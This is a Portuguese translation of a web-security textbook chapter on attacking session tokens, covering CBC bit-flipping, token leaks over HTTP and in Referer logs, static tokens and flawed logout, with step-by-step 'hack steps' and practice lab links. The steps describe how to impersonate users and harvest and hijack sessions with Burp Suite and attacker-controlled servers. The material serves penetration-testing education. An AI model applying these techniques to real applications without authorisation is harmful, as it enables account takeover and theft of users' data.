Como as cifras CBC evitam alguns dos problemas das cifras ECB, os algoritmos de criptografia simétrica padrão, como DES e AES, são frequentemente usados no modo CBC. No entanto, a maneira como os tokens criptografados por CBC são frequentemente empregados em aplicativos da Web significa que um invasor pode manipular partes dos tokens descriptografados sem conhecer a chave secreta.

Considere uma variação do aplicativo anterior cujos tokens contêm vários componentes significativos diferentes, incluindo um identificador de usuário numérico:

```
rnd=191432758301;app=eBankProdTC;uid=216;time=6343303;
```

Como antes, quando essas informações são criptografadas, elas resultam em um token aparentemente sem sentido:

```
0FB1F1AFB4C874E695AAFC9AA4C2269D3E8E66BBA9B2829B173F255D447C51321586257C
6E459A93635636F45D7B1A43163201477
```

Como esse token é criptografado usando uma cifra CBC, quando o token é descriptografado, cada bloco de texto cifrado é comparado com o bloco seguinte de texto descriptografado para obter o texto simples. Agora, se um invasor modificar partes do texto cifrado (o token que ele recebeu), isso fará com que esse bloco específico seja descriptografado em lixo eletrônico. No entanto, isso também faz com que o bloco seguinte de texto descriptografado seja submetido a XOR em relação a um

resultando em um texto simples modificado, mas ainda significativo. Em outras palavras, ao manipular um único bloco individual do token, o invasor pode modificar sistematicamente o conteúdo descriptografado do bloco que o segue. Dependendo de como o aplicativo processa o token descriptografado resultante, isso pode permitir que o invasor mude para um usuário diferente ou aumente os privilégios.

Vamos ver como. No exemplo descrito, o invasor trabalha com o token criptografado, alterando um caractere de cada vez de forma arbitrária e enviando cada token modificado para o aplicativo. Isso envolve um grande número de solicitações. A seguir, uma seleção dos valores que resultam quando o aplicativo descriptografa cada token modificado:

```
????????32858301;app=eBankProdTC;uid=216;time=6343303;
????????32758321;app=eBankProdTC;uid=216;time=6343303;
rnd=1914????????;aqp=eBankProdTC;uid=216;time=6343303;
rnd=1914????????;app=eAankProdTC;uid=216;time=6343303;
rnd=191432758301????????nkPqodTC;uid=216;time=6343303;
rnd=191432758301????????nkProdUC;uid=216;time=6343303;
rnd=191432758301;app=eBa????????;uie=216;time=6343303;
rnd=191432758301;app=eBa????????;uid=226;time=6343303;
rnd=191432758301;app=eBankProdTC????????;timd=6343303;
rnd=191432758301;app=eBankProdTC????????;time=6343503;
```

Em cada caso, o bloco que o invasor modificou é descriptografado em lixo eletrônico, conforme esperado (indicado por ????????). Entretanto, o bloco seguinte é descriptografado em um texto significativo que difere ligeiramente do token original. Como já foi descrito, essa diferença ocorre porque o texto descriptografado é submetido a XOR em relação ao bloco anterior de texto cifrado, que o invasor modificou ligeiramente.

Embora o invasor não veja os valores descriptografados, o aplicativo tenta processá-los, e o invasor vê os resultados nas respostas do aplicativo. O que acontece exatamente depende de como o aplicativo lida com a parte do token descriptografado que foi corrompida. Se o aplicativo rejeitar tokens que contenham dados inválidos, o ataque falhará. Muitas vezes, porém, os aplicativos que usam tokens dessa forma inspecionam apenas determinadas partes do token descriptografado, como o identificador do usuário. Se o aplicativo se comportar dessa forma, o oitavo exemplo mostrado na lista anterior será bem-sucedido, e o aplicativo processará a solicitação no contexto do usuário que tem um `uid` de 226, em vez do 216 original.

Você pode testar facilmente os aplicativos quanto a essa vulnerabilidade usando o tipo de carga útil "bit flip per" no Burp Intruder. Primeiro, você precisa fazer login no aplicativo usando sua própria conta. Em seguida, você encontra uma página do aplicativo que depende de uma sessão conectada e mostra a identidade do usuário conectado na resposta. Normalmente, a página inicial do usuário ou a página de detalhes da conta serve a esse propósito. A Figura 7-6 mostra o Burp Intruder configurado para atingir a página inicial do usuário, com o token de sessão criptografado marcado como uma posição de carga útil.

Figura 7-6: Configuração do Burp Intruder para modificar um token de sessão criptografada

A Figura 7-7 mostra a configuração da carga útil necessária. Ela diz ao Burp para operar no valor original do token, tratando-o como hexadecimal codificado em ASCII, e para inverter cada bit em cada posição de caractere. Essa abordagem é ideal porque requer um número relativamente pequeno de solicitações (oito solicitações por byte de dados no token) e quase sempre identifica se o aplicativo é vulnerável. Isso permite que você use um ataque mais focado para realizar a exploração real.

Quando o ataque é executado, as solicitações iniciais não causam nenhuma alteração perceptível nas respostas do aplicativo, e a sessão do usuário ainda está intacta. Isso é interessante por si só, pois indica que a primeira parte do token não está sendo usada para identificar o usuário conectado. Muitas das solicitações posteriores ao ataque causam um redirecionamento para a página de login, indicando que a modificação invalidou o token de alguma forma. Crucialmente, há também uma série de solicitações em que a resposta parece fazer parte de uma sessão válida, mas não está associada à identidade original do usuário. Isso corresponde ao bloco do token que contém o valor `uid`. Em alguns casos, o aplicativo simplesmente exibe "usuário desconhecido", indicando que o uid modificado não corresponde a um usuário real e, portanto, o ataque falhou. Em outros casos, ele mostra o nome de um usuário registrado diferente do aplicativo, provando de forma conclusiva que o ataque foi bem-sucedido. A Figura 7-8 mostra os resultados do ataque. Aqui, definimos uma coluna extract grep para exibir a identidade do usuário conectado e definimos um filtro para ocultar as respostas que são redirecionamentos para a página de login.

Figura 7-7: Configuração do Burp Intruder para inverter cada bit no token criptografado

Figura 7-8: Um ataque bem-sucedido de inversão de bits contra um token criptografado

Depois de identificar a vulnerabilidade, você pode continuar a explorá-la com um ataque mais específico. Para fazer isso, você determinaria, a partir dos resultados, exatamente qual bloco do token criptografado está sendo adulterado quando o contexto do usuário é alterado. Em seguida, você realizaria um ataque que testaria vários outros valores dentro desse bloco. Você poderia usar o tipo de carga útil de números no Burp Intruder para fazer isso.

EXPERIMENTE!

```
http://mdsec.net/auth/365/
```

OBSERVAÇÃO Alguns aplicativos usam a técnica de criptografar dados significativos dentro dos parâmetros de solicitação de forma mais geral, em uma tentativa de evitar a adulteração de dados, como os preços de itens de compras. Em qualquer local em que você veja dados aparentemente criptografados que desempenhem uma função importante na funcionalidade do aplicativo, experimente a técnica de manipulação de bits para ver se é possível manipular as informações criptografadas de forma significativa para interferir na lógica do aplicativo.

Ao tentar explorar a vulnerabilidade descrita nesta seção, seu objetivo seria, obviamente, mascarar-se como diferentes usuários de aplicativos - de preferência, um usuário administrativo com privilégios mais altos. Se você estiver restrito a manipular cegamente partes de um token criptografado, isso pode exigir um pouco de sorte. No entanto, em alguns casos, o aplicativo pode lhe dar mais assistência. Quando um aplicativo emprega criptografia simétrica para proteger os dados contra adulteração pelos usuários, é comum que o mesmo algoritmo de criptografia e a mesma chave sejam usados em todo o aplicativo. Nessa situação, se qualquer função do aplicativo revelar ao usuário o valor descriptografado de uma cadeia de caracteres criptografada arbitrária, isso poderá ser aproveitado para descriptografar totalmente qualquer item de informação protegida.

Um aplicativo observado pelos autores continha uma função de upload/download de arquivos. Após o upload de um arquivo, os usuários recebiam um link de download contendo um parâmetro de nome de arquivo. Para evitar vários ataques que manipulam caminhos de arquivos, o aplicativo criptografava o nome do arquivo dentro desse parâmetro. No entanto, se um usuário solicitasse um arquivo que tivesse sido excluído, o aplicativo exibia uma mensagem de erro mostrando o nome *descriptografado* do arquivo solicitado. Esse comportamento poderia ser aproveitado para encontrar o valor de texto simples de qualquer cadeia de caracteres criptografada usada no aplicativo, inclusive os valores dos tokens de sessão. Descobriu-se que os tokens de sessão continham vários valores significativos em um formato estruturado que era vulnerável ao tipo de ataque descrito nesta seção. Como esses valores incluíam nomes de usuário textuais e funções de aplicativos, em vez de identificadores numéricos, teria sido extremamente difícil realizar uma exploração bem-sucedida usando apenas a inversão cega de bits. Entretanto, usando a função de descriptografia de nome de arquivo, foi possível manipular sistematicamente os

bits de um token enquanto se visualizavam os resultados.

Isso permitiu a construção de um token que, quando descriptografado, especificava um usuário e uma função administrativa válidos, permitindo o controle total do aplicativo.

OBSERVAÇÃO Outras técnicas podem permitir a descriptografia de dados criptografados usados pelo aplicativo. Um oráculo de criptografia "revelador" pode ser usado indevidamente para obter o valor de texto claro de um token criptografado. Embora isso possa ser uma vulnerabilidade significativa ao descriptografar uma senha, a descriptografia de um token de sessão não oferece um meio imediato de comprometer as sessões de outros usuários.
No entanto, o token descriptografado fornece informações úteis sobre a estrutura do texto claro, o que é útil para conduzir um ataque de bit-flipping direcionado. Consulte o Capítulo 11 para obter mais detalhes sobre ataques de oráculo de criptografia "reveal".

Ataques de canal lateral contra oráculos de preenchimento podem ser usados para comprometer tokens criptografados. Consulte o Capítulo 18 para obter mais detalhes.

ETAPAS DO HACK

Em muitas situações em que são usados tokens criptografados, a capacidade real de exploração pode depender de vários fatores, incluindo os deslocamentos dos limites de bloco em relação aos dados que você precisa atacar e a tolerância do aplicativo às alterações que você causa na estrutura de texto simples ao redor. Trabalhando totalmente às cegas, pode parecer difícil construir um ataque eficaz, mas em muitas situações isso é de fato possível.

1. A menos que o token de sessão seja obviamente significativo ou sequencial por si só, sempre considere a possibilidade de que ele possa estar criptografado. Muitas vezes, é possível identificar que uma cifra baseada em bloco está sendo usada registrando vários nomes de usuário diferentes e adicionando um caractere de comprimento a cada vez. Se você encontrar um ponto em que a adição de um caractere faz com que o token da sessão aumente o tamanho em 8 ou 16 bytes, provavelmente está sendo usada uma cifra de bloco. Você pode confirmar isso continuando a adicionar bytes ao seu nome de usuário e procurando o mesmo salto que ocorre 8 ou 16 bytes depois.
2. As vulnerabilidades de manipulação de cifras do ECB normalmente são difíceis de identificar e explorar em um contexto puramente de caixa preta. Você pode tentar duplicar e mover cegamente os blocos de texto cifrado dentro do seu token e verificar se permanece conectado ao aplicativo no seu próprio contexto de usuário, no de outro usuário ou em nenhum.
3. Você pode testar as vulnerabilidades de manipulação de cifras CBC executando um ataque Burp Intruder em todo o token, usando a fonte de carga útil "bit flipping". Se o ataque de inversão de bits identificar uma seção dentro do token, cuja manipulação faz com que você permaneça em uma sessão válida, mas como um usuário diferente ou inexistente, execute um ataque mais focado apenas nessa seção, tentando um intervalo maior de valores em cada posição.

4. Durante ambos os ataques, monitore as respostas do aplicativo para identificar o usuário associado à sua sessão após cada solicitação e tente explorar todas as oportunidades de escalonamento de privilégios que possam surgir.
5. Se os ataques não forem bem-sucedidos, mas a etapa 1 indicar que a entrada de comprimento variável que você controla está sendo incorporada ao token, tente gerar uma série de tokens adicionando um caractere por vez, pelo menos até o tamanho dos blocos que estão sendo usados. Para cada token resultante, você deve repetir as etapas 2 e 3. Isso aumentará a chance de que os dados que você precisa modificar estejam adequadamente alinhados com os limites do bloco para que o ataque seja bem-sucedido.

Deficiências no manuseio de tokens de sessão

Independentemente da eficácia de um aplicativo em garantir que os tokens de sessão que ele gera não contenham informações significativas e não sejam suscetíveis a análise ou previsão, seu mecanismo de sessão estará totalmente aberto a ataques se esses tokens não forem tratados com cuidado após a geração. Por exemplo, se os tokens forem divulgados a um invasor por algum meio, ele poderá sequestrar as sessões do usuário, mesmo que seja impossível prever os tokens.

A manipulação insegura de tokens por um aplicativo pode torná-lo vulnerável a ataques de várias maneiras.

MITO COMUM

"Nosso token está protegido contra divulgação a terceiros porque usamos SSL." O uso adequado do SSL certamente ajuda a proteger os tokens de sessão contra a captura de dados.
turado. No entanto, vários erros ainda podem fazer com que os tokens sejam transmitidos em texto não criptografado, mesmo quando o SSL estiver em vigor. E vários ataques diretos contra usuários finais podem ser usados para obter seus tokens.

MITO COMUM

"Nosso token é gerado pela plataforma usando tecnologias maduras e criptograficamente sólidas, portanto, não é vulnerável a comprometimentos."

O comportamento padrão de um servidor de aplicativos geralmente é criar um cookie de sessão quando o usuário visita o site pela primeira vez e mantê-lo disponível durante toda a interação do usuário com o site. Conforme descrito nas seções a seguir, isso pode levar a várias vulnerabilidades de segurança na forma como o token é tratado.

Divulgação de tokens na rede

Essa área de vulnerabilidade surge quando o token de sessão é transmitido pela rede de forma não criptografada, permitindo que um espião adequadamente posicionado obtenha o token e, portanto, se disfarce de usuário legítimo. As posições adequadas para interceptação incluem a rede local do usuário, no departamento de TI do usuário, no ISP do usuário, no backbone da Internet, no ISP do aplicativo e no departamento de TI da organização que hospeda o aplicativo. Em cada caso, isso inclui tanto o pessoal autorizado da organização relevante quanto qualquer invasor externo que tenha comprometido a infraestrutura em questão. No caso mais simples, em que um aplicativo usa uma conexão HTTP não criptografada para comunicações, um invasor pode capturar todos os dados transmitidos entre o cliente e o servidor, inclusive credenciais de login, informações pessoais, detalhes de pagamento e assim por diante. Nessa situação, um ataque contra a sessão do usuário geralmente é desnecessário, pois o invasor já pode visualizar informações privilegiadas e fazer login usando credenciais capturadas para executar outras ações mal-intencionadas. No entanto, ainda pode haver casos em que a sessão do usuário seja o alvo principal. Por exemplo, se as credenciais capturadas forem insuficientes para realizar um segundo login (por exemplo, em um aplicativo bancário, elas podem incluir um número exibido em um token físico mutável ou dígitos específicos do PIN do usuário), o invasor pode precisar sequestrar a sessão interceptada para realizar ações arbitrárias. Ou, se os logins forem auditados de perto e o usuário for notificado de cada login bem-sucedido, um invasor poderá querer evitar realizar seu próprio login para ser o mais rápido possível.
o mais furtivo possível.

Em outros casos, um aplicativo pode usar HTTPS para proteger as principais comunicações cliente-servidor, mas ainda assim pode ser vulnerável à interceptação de tokens de sessão na rede. Esse ponto fraco pode ocorrer de várias maneiras, muitas das quais podem surgir especificamente quando os cookies HTTP são usados como mecanismo de transmissão para tokens de sessão:

- Alguns aplicativos optam por usar HTTPS para proteger as credenciais do usuário durante o login, mas depois revertem para HTTP para o restante da sessão do usuário. Muitos aplicativos de webmail se comportam dessa forma. Nessa situação, um espião não pode interceptar as credenciais do usuário, mas ainda pode capturar o token de sessão. A ferramenta Firesheep, lançada como um plug-in para o Firefox, torna esse processo fácil.
- Alguns aplicativos usam HTTP para áreas pré-autenticadas do site, como a página inicial do site, mas mudam para HTTPS da página de login em diante. No entanto, em muitos casos, o usuário recebe um token de sessão na primeira página visitada, e esse token não é modificado quando o usuário faz login. A sessão do usuário, que é originalmente não autenticada, é atualizada para uma sessão autenticada após o login. Nessa situação, um espião pode interceptar o token de um usuário antes do login, esperar que as comunicações do usuário mudem para

HTTPS, indicando que o usuário está fazendo login e, em seguida, tente acessar uma página protegida (como My Account) usando esse token.

- Mesmo que o aplicativo emita um novo token após o login bem-sucedido e use HTTPS da página de login em diante, o token da sessão autenticada do usuário ainda poderá ser divulgado. Isso pode acontecer se o usuário revisitar uma página de pré-autenticação (como Ajuda ou Sobre), seja seguindo links dentro da área autenticada, usando o botão Voltar ou digitando o URL diretamente.
- Em uma variação do caso anterior, o aplicativo pode tentar mudar para HTTPS quando o usuário clicar no link Login. No entanto, ele ainda pode aceitar um login por HTTP se o usuário modificar o URL adequadamente. Nessa situação, um invasor adequadamente posicionado pode modificar as páginas retornadas nas áreas pré-autenticadas do site para que o link Login aponte para uma página HTTP. Mesmo que o aplicativo emita um novo token de sessão após o login bem-sucedido, o invasor ainda poderá interceptar esse token se tiver feito o downgrade da conexão do usuário para HTTP.
- Alguns aplicativos usam HTTP para todo o conteúdo estático do aplicativo, como imagens, scripts, folhas de estilo e modelos de página. Esse comportamento é geralmente indicado por um aviso no navegador do usuário, conforme mostrado na Figura 7-9. Quando um navegador mostra esse aviso, ele já recuperou o item relevante por HTTP e, portanto, o token de sessão já foi transferido. O objetivo do aviso do navegador é permitir que o usuário se recuse a processar os dados de resposta que foram recebidos por HTTP e que, portanto, podem estar contaminados. Conforme descrito anteriormente, um invasor pode interceptar o token de sessão do usuário quando o navegador do usuário acessa um recurso por HTTP e usar esse token para acessar áreas protegidas e não estáticas do site por HTTPS.

Figura 7-9: Os navegadores apresentam um aviso quando uma página acessada por HTTPS contém itens acessados por HTTP.

- Mesmo que um aplicativo use HTTPS em todas as páginas, inclusive nas áreas não autenticadas do site e no conteúdo estático, ainda pode haver circunstâncias em que os tokens dos usuários sejam transmitidos por HTTP. Se um invasor puder, de alguma forma, induzir um usuário a fazer uma solicitação por HTTP (seja para o HTTP

serviço no mesmo servidor, se estiver em execução, ou para http://server:443/, caso contrário), seu token pode ser enviado. Os meios pelos quais o invasor pode tentar fazer isso incluem enviar ao usuário um URL em um e-mail ou mensagem instantânea, colocar links de carregamento automático em um site que o invasor controla ou usar anúncios de banner clicáveis. (Consulte os Capítulos 12 e 13 para obter mais detalhes sobre técnicas desse tipo para realizar ataques contra outros usuários).

ETAPAS DO HACK

1. Percorra o aplicativo normalmente, desde o primeiro acesso (o URL "inicial"), passando pelo processo de login e, em seguida, por toda a funcionalidade do aplicativo. Mantenha um registro de cada URL visitado e anote cada instância em que um novo token de sessão é recebido. Preste atenção especial às funções de login e às transições entre as comunicações HTTP e HTTPS. Isso pode ser feito manualmente usando um sniffer de rede como o Wireshark ou parcialmente automatizado usando as funções de registro do seu proxy de interceptação, conforme mostrado na Figura 7-10.

Figura 7-10: Percorrendo um aplicativo para identificar locais onde novos tokens de sessão são recebidos.

2. Se os cookies HTTP estiverem sendo usados como mecanismo de transmissão para tokens de sessão, verifique se o sinalizador `seguro` está definido, impedindo que eles sejam transmitidos por conexões não criptografadas.
3. Determine se, no uso normal do aplicativo, os tokens de sessão são transmitidos por uma conexão não criptografada. Em caso afirmativo, eles devem ser considerados vulneráveis à interceptação.
4. Quando a página inicial usar HTTP e o aplicativo mudar para HTTPS nas áreas de login e autenticação do site, verifique se um novo token é emitido após o login ou se um token transmitido durante o estágio HTTP ainda está sendo usado para rastrear a sessão autenticada do usuário. Verifique também se o aplicativo aceitará o login por HTTP se o URL de login for modificado de acordo.

5. Mesmo que o aplicativo use HTTPS para todas as páginas, verifique se o servidor também está escutando na porta 80, executando algum serviço ou conteúdo. Em caso afirmativo, visite qualquer URL HTTP diretamente de uma sessão autenticada e verifique se o token de sessão é transmitido.
6. Nos casos em que um token para uma sessão autenticada é transmitido ao servidor por HTTP, verifique se esse token continua sendo válido ou se é imediatamente encerrado pelo servidor.

EXPERIMENTE!

```
http://mdsec.net/auth/369/
http://mdsec.net/auth/372/
http://mdsec.net/auth/374/
```

Divulgação de tokens em registros

Além da transmissão de texto claro de tokens de sessão em comunicações de rede, o local mais comum em que os tokens são simplesmente divulgados para visualização não autorizada é em registros de sistema de vários tipos. Embora seja uma ocorrência mais rara, as consequências desse tipo de divulgação são geralmente mais graves. Esses registros podem ser visualizados por uma gama muito maior de possíveis invasores, não apenas por alguém que esteja adequadamente posicionado para espionar a rede.

Muitos aplicativos oferecem funcionalidade para que os administradores e outros funcionários de suporte monitorem e controlem aspectos do estado de tempo de execução do aplicativo, incluindo sessões de usuários. Por exemplo, um funcionário do helpdesk que esteja auxiliando um usuário com problemas pode solicitar seu nome de usuário, localizar sua sessão atual por meio de uma lista ou função de pesquisa e visualizar detalhes relevantes sobre a sessão. Ou um administrador pode consultar um registro de sessões recentes durante a investigação de uma violação de segurança. Geralmente, esse tipo de funcionalidade de monitoramento e controle divulga o token de sessão real associado a cada sessão. E, muitas vezes, a funcionalidade é mal protegida, permitindo que usuários não autorizados acessem a lista de tokens de sessão atuais e, assim, sequestrem as sessões de todos os usuários do aplicativo. A outra causa principal dos tokens de sessão que aparecem nos registros do sistema é quando um aplicativo usa a string de consulta de URL como um mecanismo para transmitir tokens, em vez de usar cookies HTTP ou o corpo de solicitações `POST`. Por exemplo,

A pesquisa no Google por `inurl:jsessionid` identifica milhares de aplicativos que transmitem o token de sessão da plataforma Java (chamado `jsessionid`) no URL:

```
http://www.webjunction.org/do/Navigation;jsessionid=
F27ED2A6AAE4C6DA409A3044E79B8B48?category=327
```

Quando os aplicativos transmitem seus tokens de sessão dessa forma, é provável que seus tokens de sessão apareçam em vários registros do sistema aos quais partes não autorizadas podem ter acesso:

- Registros do navegador dos usuários
- Registros do servidor da Web
- Registros de servidores proxy corporativos ou de ISP
- Registros de todos os proxies reversos empregados no ambiente de hospedagem do aplicativo
- Os registros do Referer de todos os servidores que os usuários do aplicativo visitam seguindo links externos, conforme mostrado na Figura 7-11

Algumas dessas vulnerabilidades surgem mesmo que o HTTPS seja usado em todo o aplicativo.

Figura 7-11: Quando os tokens de sessão aparecem nos URLs, eles são transmitidos no cabeçalho Referer quando os usuários seguem um link externo ou o navegador carrega um recurso externo.

O último caso descrito acima apresenta a um invasor um meio altamente eficaz de capturar tokens de sessão em alguns aplicativos. Por exemplo, se um aplicativo de correio da Web transmite tokens de sessão dentro do URL, um invasor pode enviar e-mails aos usuários do aplicativo contendo um link para um servidor da Web que ele controla. Se algum usuário acessar o link (porque clicou nele ou porque seu navegador carregou as imagens contidas no e-mail formatado em HTML), o invasor receberá, em tempo real, o token de sessão do usuário. O invasor pode executar um script simples em seu servidor para sequestrar a sessão de cada token recebido e

realizar alguma ação maliciosa, como enviar e-mail de spam, coletar informações pessoais ou alterar senhas.

NOTA As versões atuais do Internet Explorer não incluem um cabeçalho Referer ao seguir links externos contidos em uma página que foi acessada por HTTPS. Nessa situação, o Firefox inclui o cabeçalho Referer, desde que o link externo também esteja sendo acessado por HTTPS, mesmo que pertença a um domínio diferente. Portanto, dados confidenciais colocados em URLs são vulneráveis a vazamentos em registros Referer, mesmo quando o SSL está sendo usado.

ETAPAS DO HACK

1. Identifique toda a funcionalidade dentro do aplicativo e localize todas as funções de registro ou monitoramento em que os tokens de sessão possam ser visualizados. Verifique quem pode acessar essa funcionalidade - por exemplo, administradores, qualquer usuário autenticado ou qualquer usuário anônimo. Consulte o Capítulo 4 para conhecer técnicas de descoberta de conteúdo oculto que não esteja diretamente vinculado ao aplicativo principal.
2. Identifique todas as instâncias do aplicativo em que os tokens de sessão são transmitidos no URL. Pode ser que os tokens sejam geralmente transmitidos de uma maneira mais segura, mas os desenvolvedores usaram o URL em casos específicos para contornar dificuldades específicas. Por exemplo, esse comportamento é frequentemente observado quando um aplicativo da Web faz interface com um sistema externo.
3. Se os tokens de sessão estiverem sendo transmitidos em URLs, tente encontrar qualquer funcionalidade de aplicativo que permita injetar links externos arbitrários nas páginas visualizadas por outros usuários. Os exemplos incluem a funcionalidade que implementa um quadro de mensagens, feedback do site, perguntas e respostas e assim por diante. Se for o caso, envie os links para um servidor da Web que você controla e aguarde para ver se os tokens de sessão de algum usuário são recebidos em seus logs de referência.
4. Se algum token de sessão for capturado, tente sequestrar as sessões do usuário usando o aplicativo normalmente, mas substituindo o seu próprio token por um token capturado. Você pode fazer isso interceptando a próxima resposta do servidor e adicionando um cabeçalho Set-Cookie próprio com o valor do cookie capturado. No Burp, você pode aplicar uma única configuração em toda a suíte que define
um cookie específico em todas as solicitações ao aplicativo de destino para permitir a fácil alternância entre diferentes contextos de sessão durante o teste.

6. Se um grande número de tokens for capturado, o sequestro de sessão permitirá o acesso a dados confidenciais, como detalhes pessoais e informações de pagamento,
ou senhas de usuários, é possível usar as técnicas automatizadas descritas no Capítulo 14 para coletar todos os dados desejados pertencentes a outros usuários de aplicativos.

EXPERIMENTE!

http://mdsec.net/auth/379/

Mapeamento vulnerável de tokens para sessões

Várias vulnerabilidades comuns nos mecanismos de gerenciamento de sessão surgem devido a pontos fracos na forma como o aplicativo mapeia a criação e o processamento de tokens de sessão para as próprias sessões de usuários individuais.

O ponto fraco mais simples é permitir que vários tokens válidos sejam atribuídos simultaneamente à mesma conta de usuário. Em praticamente todos os aplicativos, não há motivo legítimo para que um usuário tenha mais de uma sessão ativa ao mesmo tempo. Obviamente, é bastante comum que um usuário abandone uma sessão ativa e inicie uma nova, por exemplo, porque fecha uma janela do navegador ou muda para outro computador. Mas se um usuário parece estar usando duas sessões diferentes ao mesmo tempo, isso geralmente indica que ocorreu um comprometimento da segurança: ou o usuário divulgou suas credenciais para outra parte ou um invasor obteve suas credenciais por algum outro meio. Em ambos os casos, permitir sessões simultâneas é indesejável, porque permite que os usuários persistam em práticas indesejáveis sem inconvenientes e porque permite que um invasor use credenciais capturadas sem risco de detecção.

Um ponto fraco relacionado, mas distinto, é o fato de os aplicativos usarem tokens "estáticos". Eles se parecem com tokens de sessão e podem inicialmente parecer funcionar como eles, mas, na verdade, não são assim. Nesses aplicativos, cada usuário recebe um token, e esse mesmo token é reemitido para o usuário sempre que ele faz login. O aplicativo sempre aceita o token como válido, independentemente de o usuário ter feito login recentemente e ter recebido o token. Aplicativos como esse realmente envolvem um mal-entendido sobre todo o conceito do que é uma sessão e os benefícios que ela oferece para gerenciar e controlar o acesso ao aplicativo. Às vezes, os aplicativos operam dessa forma como um meio de implementar a funcionalidade "lembrar de mim" mal projetada, e o token estático é armazenado em um cookie persistente (consulte o Capítulo 6). Às vezes, os próprios tokens são vulneráveis a ataques de previsão, o que torna a vulnerabilidade muito mais grave. Em vez de comprometer as sessões dos usuários conectados no momento, um ataque bem-sucedido compromete, para sempre, as contas de todos os usuários registrados.

Ocasionalmente, também são observados outros tipos de comportamentos estranhos nos aplicativos que demonstram um defeito fundamental na relação entre tokens e sessões. Um exemplo é quando um token significativo é construído com base em um nome de usuário e um componente aleatório. Por exemplo, considere o token:

```
dXNlcj1kYWY7cjE9MTMwOTQxODEyMTM0NTkwMTI=
```

para o qual o Base64 decodifica:

```
user=daf;r1=13094181213459012
```

Após uma análise extensa do componente `r1`, podemos concluir que isso não pode ser previsto com base em uma amostra de valores. No entanto, se a lógica de processamento de sessão do aplicativo estiver errada, pode ser que um invasor simplesmente precise enviar *qualquer* valor válido como `r1` e *qualquer* valor válido como `usuário` para acessar uma sessão no contexto de segurança do usuário especificado. Essa é essencialmente uma vulnerabilidade de controle de acesso, pois as decisões sobre o acesso estão sendo tomadas com base nos dados fornecidos pelo usuário fora da sessão (consulte o Capítulo 8). Isso ocorre porque o aplicativo usa efetivamente tokens de sessão para indicar que o solicitante estabeleceu *algum* tipo de sessão válida com o aplicativo. No entanto, o contexto do usuário no qual essa sessão é processada não é uma propriedade integral da própria sessão, mas é determinado por solicitação por meio de outros meios. Nesse caso, esse meio pode ser controlado diretamente pelo solicitante.

ETAPAS DO HACK

1. Faça login no aplicativo duas vezes usando a mesma conta de usuário, a partir de processos de navegador diferentes ou de computadores diferentes. Determine se as duas sessões permanecem ativas ao mesmo tempo. Em caso afirmativo, o aplicativo suporta sessões simultâneas, permitindo que um invasor que tenha comprometido as credenciais de outro usuário faça uso delas sem risco de detecção.
2. Faça login e logout várias vezes usando a mesma conta de usuário, a partir de diferentes processos do navegador ou de diferentes computadores. Determine se um novo token de sessão é emitido a cada vez ou se o mesmo token de sessão é emitido a cada vez.
   é emitido toda vez que você faz login. Se esse último caso ocorrer, o aplicativo não está realmente empregando sessões adequadas.
3. Se os tokens parecerem conter alguma estrutura e significado, tente separar os componentes que podem identificar o usuário daqueles que parecem ser inescrutáveis. Tente modificar os componentes do token relacionados ao usuário para que eles se refiram a outros usuários conhecidos do aplicativo e verifique se o token resultante é aceito pelo aplicativo e permite que você se disfarce como esse usuário.

EXPERIMENTE!

`http://mdsec.net/auth/382/`

`http://mdsec.net/auth/385/`

Encerramento de sessão vulnerável

O encerramento adequado das sessões é importante por dois motivos. Primeiro, manter o tempo de vida de uma sessão tão curto quanto necessário reduz a janela de oportunidade em que um invasor pode capturar, adivinhar ou usar indevidamente um token de sessão válido.

Em segundo lugar, ele oferece aos usuários um meio de invalidar uma sessão existente quando não precisarem mais dela. Isso permite que eles reduzam ainda mais essa janela e assumam alguma responsabilidade pela segurança de sua sessão em um ambiente de computação compartilhado. Os principais pontos fracos das funções de encerramento de sessão envolvem falhas no cumprimento desses dois objetivos principais.

Alguns aplicativos não impõem a expiração efetiva da sessão. Depois de criada, uma sessão pode permanecer válida por muitos dias após o recebimento da última solicitação, antes que o servidor acabe expirando a sessão. Se os tokens forem vulneráveis a algum tipo de falha de sequenciamento que seja particularmente difícil de explorar (por exemplo, 100.000 tentativas para cada token válido identificado), um invasor ainda poderá capturar os tokens de todos os usuários que acessaram o aplicativo no passado recente.

Alguns aplicativos não oferecem a funcionalidade de logout eficaz:

- Em alguns casos, uma função de logout simplesmente não é implementada. Os usuários não têm meios de fazer com que o aplicativo invalide sua sessão.
- Em alguns casos, a função de logout não faz com que o servidor invalide a sessão. O servidor remove o token do navegador do usuário (por exemplo, emitindo uma instrução `Set-Cookie` para apagar o token). No entanto, se o usuário continuar a enviar o token, o servidor ainda o aceitará.
- Nos piores casos, quando um usuário clica em Logout, esse fato não é comunicado ao servidor e, portanto, o servidor não executa nenhuma ação. Em vez disso, é executado um script no lado do cliente que apaga o cookie do usuário, o que significa que as solicitações subsequentes retornam o usuário à página de login. Um invasor que obtiver acesso a esse cookie poderá usar a sessão como se o usuário nunca tivesse feito logout.

Alguns aplicativos que não usam autenticação ainda contêm funcionalidades que permitem que os usuários acumulem dados confidenciais em suas sessões (por exemplo, um aplicativo de compras). No entanto, normalmente eles não oferecem nenhum equivalente a uma função de logout para que os usuários encerrem a sessão.

ETAPAS DO HACK

1. Não caia na armadilha de examinar as ações que o aplicativo executa no token do lado do cliente (como a invalidação do cookie por meio de um novo
instrução **`Set-Cookie`**, script do lado do cliente ou um atributo de tempo de expiração). Em termos de encerramento da sessão, nada depende muito do que acontece com o token no navegador do cliente. Em vez disso, investigue se a expiração da sessão está implementada no lado do servidor:
   a. Faça login no aplicativo para obter um token de sessão válido.
   b. Aguarde um período sem usar esse token e, em seguida, envie uma solicitação para uma página protegida (como "meus detalhes") usando o token.

c. Se a página for exibida normalmente, o token ainda está ativo.

d. Use tentativa e erro para determinar a duração de qualquer tempo limite de expiração de sessão ou se um token ainda pode ser usado dias após a última solicitação que o utilizou. O Burp Intruder pode ser configurado para incrementar o intervalo de tempo entre solicitações sucessivas para automatizar essa tarefa.

2. Determine se existe uma função de logout e se ela está disponível de forma destacada para os usuários. Caso contrário, os usuários ficam mais vulneráveis, pois não têm como fazer com que o aplicativo invalide sua sessão.
3. Quando uma função de logout for fornecida, teste sua eficácia. Após fazer o logout, tente reutilizar o token antigo e determine se ele ainda é válido. Em caso afirmativo, os usuários permanecem vulneráveis a alguns ataques de sequestro de sessão mesmo depois de terem feito o "logout". Você pode usar o Burp Suite para testar isso, selecionando uma solicitação recente dependente de sessão no histórico do proxy e enviando-a ao Burp Repeater para reemissão depois que você se desconectar do aplicativo.

EXPERIMENTE!

```
http://mdsec.net/auth/423/
